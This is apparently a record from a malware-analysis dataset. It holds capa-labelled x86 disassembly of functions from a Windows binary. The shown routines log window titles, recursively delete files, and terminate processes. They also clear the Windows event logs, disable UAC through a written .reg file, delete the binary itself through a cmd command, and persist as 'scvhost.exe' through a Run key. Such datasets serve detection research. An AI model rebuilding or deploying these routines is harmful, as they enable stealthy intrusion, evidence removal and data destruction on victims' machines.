joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003a76
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10003aa6
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0xb
push 0x1002d9b0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003ac5
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003ad6
Capabilities:
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 0
push 0x1c
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [ebp - 0x114], str.Default
push 0x1002eebc
lea ecx, [ebp - 0x10c]
push ecx
call fcn.100120e0
add esp, 8
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.100120e0
add esp, 8
push 0x1002eec0
lea ecx, [ebp - 0x10c]
push ecx
call fcn.100120e0
add esp, 8
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
mov dword [ebp - 8], 0
push 0
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x3200000
jae 0x10003b94
push 2
push 0
push 0
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x10003bc7
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push edi
push 0x400
push 0
push 0x10053d90
call fcn.10011e70
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [0x10054590], eax
push 0x400
push 0x10053d90
mov eax, dword [0x10054590]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0x404], 0
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10054190
push 0x10053d90
call fcn.100122f0
add esp, 8
test eax, eax
je 0x10003d0f
push 0x10053d90
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10003cf8
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [ebp - 0x408]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x40a]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x40c]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x40e]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x412]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x414]
and ecx, 0xffff
push ecx
push 0x10053d90
push 0x1002eec8
lea edx, [ebp - 0x400]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x400]
push eax
call fcn.10003ad6
add esp, 4
push 0x400
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.10011e70
add esp, 0xc
mov dword [ebp - 0x404], 1
push 0x400
push 0x10053d90
push 0x10054190
call fcn.10011610
add esp, 0xc
mov eax, dword [ebp - 0x404]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100040c1
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025e40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a8
lea eax, [ebp - 0x164]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x20]
call fcn.100066d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100067a0
sub eax, 1
push eax
lea ecx, [ebp - 0x20]
call fcn.10006740
movsx edx, byte [eax]
cmp edx, 0x5c
je 0x1000411f
push 0x5c
lea ecx, [ebp - 0x20]
call fcn.10006720
lea eax, [ebp - 0x160]
push eax
push 0x1002ef24
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x174]
push edx
call fcn.10006d80
add esp, 0xc
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a4], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1a4]
call fcn.10006770
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x174]
call fcn.10006700
cmp dword [ebp - 0x10], 0xffffffff
jne 0x1000419f
mov byte [ebp - 0x178], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.10006700
mov al, byte [ebp - 0x178]
jmp 0x100042cf
mov ecx, dword [ebp - 0x160]
and ecx, 0x10
test ecx, ecx
je 0x10004235
push 0x1002ef28
lea edx, [ebp - 0x134]
push edx
call fcn.10016c80
add esp, 8
test eax, eax
je 0x10004233
push 0x1002ef2c
lea eax, [ebp - 0x134]
push eax
call fcn.10016c80
add esp, 8
test eax, eax
je 0x10004233
lea ecx, [ebp - 0x134]
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x188]
push eax
call fcn.10006d80
add esp, 0xc
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0x1a8]
mov dword [ebp - 0x1ac], ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1ac]
call fcn.10006770
push eax
call fcn.100040c1
add esp, 4
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x188]
call fcn.10006700
jmp 0x10004286
lea edx, [ebp - 0x134]
push edx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x198]
push ecx
call fcn.10006d80
add esp, 0xc
mov dword [ebp - 0x1b0], eax
mov edx, dword [ebp - 0x1b0]
mov dword [ebp - 0x1b4], edx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x1b4]
call fcn.10006770
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x198]
call fcn.10006700
lea eax, [ebp - 0x160]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000419f
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov byte [ebp - 0x19c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.10006700
mov al, byte [ebp - 0x19c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x100042dd
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025e5f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x144
mov dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10004350
mov dword [ebp - 0x148], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10021051
mov eax, dword [ebp - 0x148]
jmp 0x1000447d
lea ecx, [ebp + 8]
call fcn.100212de
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10004454
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x13c]
call fcn.1002107b
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x13c]
call fcn.100212de
lea ecx, [ebp + 8]
call fcn.10007270
push eax
lea ecx, [ebp - 0x13c]
call fcn.10007280
test eax, eax
jne 0x10004433
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x144], eax
push 0
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
lea ecx, [ebp - 0x13c]
call fcn.10021296
push 0xffffffffffffffff
lea ecx, [ebp + 8]
call fcn.10021296
mov dword [ebp - 0x14c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13c]
call fcn.10021051
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10021051
mov eax, dword [ebp - 0x14c]
jmp 0x1000447d
push 0xffffffffffffffff
lea ecx, [ebp - 0x13c]
call fcn.10021296
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13c]
call fcn.10021051
jmp 0x10004358
push 0xffffffffffffffff
lea ecx, [ebp + 8]
call fcn.10021296
mov dword [ebp - 0x150], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10021051
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000448b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.10011ed0
push edi
push 0x800
call fcn.10011f44
add esp, 4
mov dword [ebp - 0x1114], eax
mov eax, dword [ebp - 0x1114]
mov dword [ebp - 8], eax
push 0x104
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.10011e70
add esp, 0xc
mov byte [ebp - 0x1008], 0
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x1007]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x808], 0
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x807]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0x1002ef30
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10004615
mov byte [ebp - 0x110c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x110b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea edx, [ebp - 0x110c]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetClassNameA]
push 0x1002ef44
lea ecx, [ebp - 0x110c]
push ecx
call fcn.100122f0
add esp, 8
test eax, eax
jne 0x10004601
cmp dword [ebp - 4], 0
je 0x1000457b
push 0x104
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x1008]
push ecx
call fcn.100123b0
add esp, 4
mov dword [ebp - 0x1110], eax
mov edx, dword [ebp - 0x1110]
sub edx, 1
mov dword [ebp - 0x1110], edx
mov eax, dword [ebp - 0x1110]
movsx ecx, byte [ebp + eax - 0x1008]
cmp ecx, 0x5f
jne 0x10004590
mov edx, dword [ebp - 0x1110]
lea eax, [ebp + edx - 0x1007]
push eax
lea ecx, [ebp - 0x808]
push ecx
call fcn.100120d0
add esp, 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100045ee
push 0x1002ef58
mov eax, dword [ebp - 8]
push eax
call fcn.100120e0
add esp, 8
lea ecx, [ebp - 0x808]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.100120e0
add esp, 8
push 2
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 4], eax
jmp 0x1000450a
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10004634
push 0x1002ef5c
mov edx, dword [ebp - 8]
push edx
call fcn.100120d0
add esp, 8
mov eax, dword [ebp - 8]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000474d
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push edi
push 0x1002ef6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
xor eax, eax
mov ax, word [0x10053d8a]
test eax, eax
jne 0x10004776
jmp 0x100048bd
xor ecx, ecx
mov cx, word [0x10053d8a]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
shl edx, 0xa
mov dword [ebp - 0x10], edx
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x100047b5
jmp 0x100048bd
push 2
push 0
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
shl eax, 0xa
cmp eax, dword [ebp - 0xc]
jbe 0x100048b3
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x41c], 0
jmp 0x10004821
mov ecx, dword [ebp - 0x41c]
add ecx, 1
mov dword [ebp - 0x41c], ecx
mov edx, dword [ebp - 0x41c]
cmp edx, dword [ebp - 0x10]
jae 0x100048b3
mov eax, dword [ebp - 0x41c]
xor edx, edx
mov ecx, 0x400
div ecx
test edx, edx
jne 0x1000488f
mov dword [ebp - 0x420], 0
jmp 0x1000485e
mov edx, dword [ebp - 0x420]
add edx, 1
mov dword [ebp - 0x420], edx
cmp dword [ebp - 0x420], 0x400
jge 0x1000488f
call fcn.10012924
add eax, dword [ebp - 0x420]
movsx eax, al
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x420]
mov byte [ebp + eax - 0x414], dl
jmp 0x1000484f
push 0
lea ecx, [ebp - 0x418]
push ecx
push 0x400
lea edx, [ebp - 0x414]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x10004812
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10004c34
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
mov eax, dword [ebp + 8]
and eax, 0xff
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 3
ja case.default.0x10004c6c
mov edx, dword [ebp - 0x18]
jmp dword [edx*4 + 0x10004cf6]
jmp 0x10004ca7
mov dword [ebp - 8], 0x100548a4
mov dword [ebp - 4], 0x100548a8
jmp 0x10004ca7
mov dword [ebp - 0xc], 0x100548ac
mov dword [ebp - 4], 0x100548b0
jmp 0x10004ca7
mov dword [ebp - 0xc], 0x100548b4
mov dword [ebp - 8], 0x100548b8
jmp 0x10004ca7
jmp 0x10004cf2
mov dword [ebp - 0x10], 0
jmp 0x10004cb9
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jae 0x10004cf2
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + ecx*4 - 0xc]
push edx
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10004cda
jmp 0x10004cb0
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
jmp 0x10004cb0
mov esp, ebp
pop ebp
ret

Function at 0x10004d06
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10004d36
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0xf5
push str.Windows_Registry_Editor_Version_5.00____r_n____r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_____r_n_EnableLUA_dword:00000000_r_n_r_n::
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10004d58
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10004fb7
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025e9d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x148
mov dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xffffffff
jne 0x10005018
mov dword [ebp - 0x148], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10021051
mov eax, dword [ebp - 0x148]
jmp 0x10005166
mov dword [ebp - 0x134], 0x128
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000506a
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x14c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10021051
mov eax, dword [ebp - 0x14c]
jmp 0x10005166
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x13c]
call fcn.1002107b
mov byte [ebp - 4], 1
lea ecx, [ebp + 8]
call fcn.10007270
push eax
lea ecx, [ebp - 0x13c]
call fcn.100072c0
test eax, eax
jne 0x10005110
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x140]
push edx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x100050e0
push 0
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x150], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13c]
call fcn.10021051
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10021051
mov eax, dword [ebp - 0x150]
jmp 0x10005166
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13c]
call fcn.10021051
lea edx, [ebp - 0x134]
push edx
mov eax, dword [ebp - 0x138]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000506a
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10021051
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x100053af
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.10005174
push 0
push str.cmd__c_echo._c:del__exit
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10005691
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
push edi
push 0x170
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x2e0]
push ecx
call fcn.10011610
add esp, 0xc
mov byte [ebp - 0x168], 0
mov ecx, 0x59
xor eax, eax
lea edi, [ebp - 0x167]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea edx, [ebp - 0x1d4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xffffffff
jne 0x100056fe
xor eax, eax
jmp 0x100057ef
push 0
lea eax, [ebp - 0x16c]
push eax
mov ecx, dword [ebp + 0xc]
sub ecx, 0x170
push ecx
mov edx, dword [ebp + 8]
add edx, 0x170
push edx
mov eax, dword [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10005733
xor eax, eax
jmp 0x100057ef
mov ecx, dword [ebp - 0x170]
push ecx
call dword [0x10054d04]
lea edx, [ebp - 0x2d8]
push edx
call fcn.100123b0
add esp, 4
test eax, eax
je 0x10005778
lea eax, [ebp - 0x2d8]
push eax
lea ecx, [ebp - 0x1d4]
push ecx
push str._s__s
lea edx, [ebp - 0x168]
push edx
call dword [0x10054d54]
add esp, 0x10
jmp 0x1000578c
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x168]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x2dc]
mov dword [ebp - 0x2e4], edx
cmp dword [ebp - 0x2e4], 0
je 0x100057b5
cmp dword [ebp - 0x2e4], 1
je 0x100057c8
cmp dword [ebp - 0x2e4], 3
je 0x100057db
jmp 0x100057ea
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.100053ce
add esp, 8
jmp 0x100057ea
push 0
lea ecx, [ebp - 0x168]
push ecx
call fcn.100053ce
add esp, 8
jmp 0x100057ea
lea edx, [ebp - 0x168]
push edx
call fcn.100053af
add esp, 4
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10005bf6
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push esi
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [ebp - 0x160]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
xor eax, eax
lea edi, [ebp - 0x136]
rep stosd dword es:[edi], eax
push 0
lea ecx, [ebp - 0x160]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x164]
push eax
push 0xf003f
push 0
push 0x1002f214
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005cb7
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push 1
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x164]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x164]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10006601
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10006631
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0x581
push str._echo_on_r_nsetlocal_enabledelayedexpansion_r_n_REM
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10006653
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10007436
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push edi
mov dword [ebp - 0x128], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0x1c
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [ebp - 0x114], str.Default
push 0x1002f470
lea ecx, [ebp - 0x10c]
push ecx
call fcn.100120e0
add esp, 8
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.100120e0
add esp, 8
push 0x1002f474
lea ecx, [ebp - 0x10c]
push ecx
call fcn.100120e0
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push closesocket
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x10007589
push 0
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.10011f44
add esp, 4
mov dword [ebp - 0x120], eax
mov edx, dword [ebp - 0x120]
mov dword [ebp - 0x11c], edx
push 0
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
mov ecx, dword [ebp - 0x128]
call fcn.100073cb
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x124]
push ecx
call fcn.10011605
add esp, 4
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret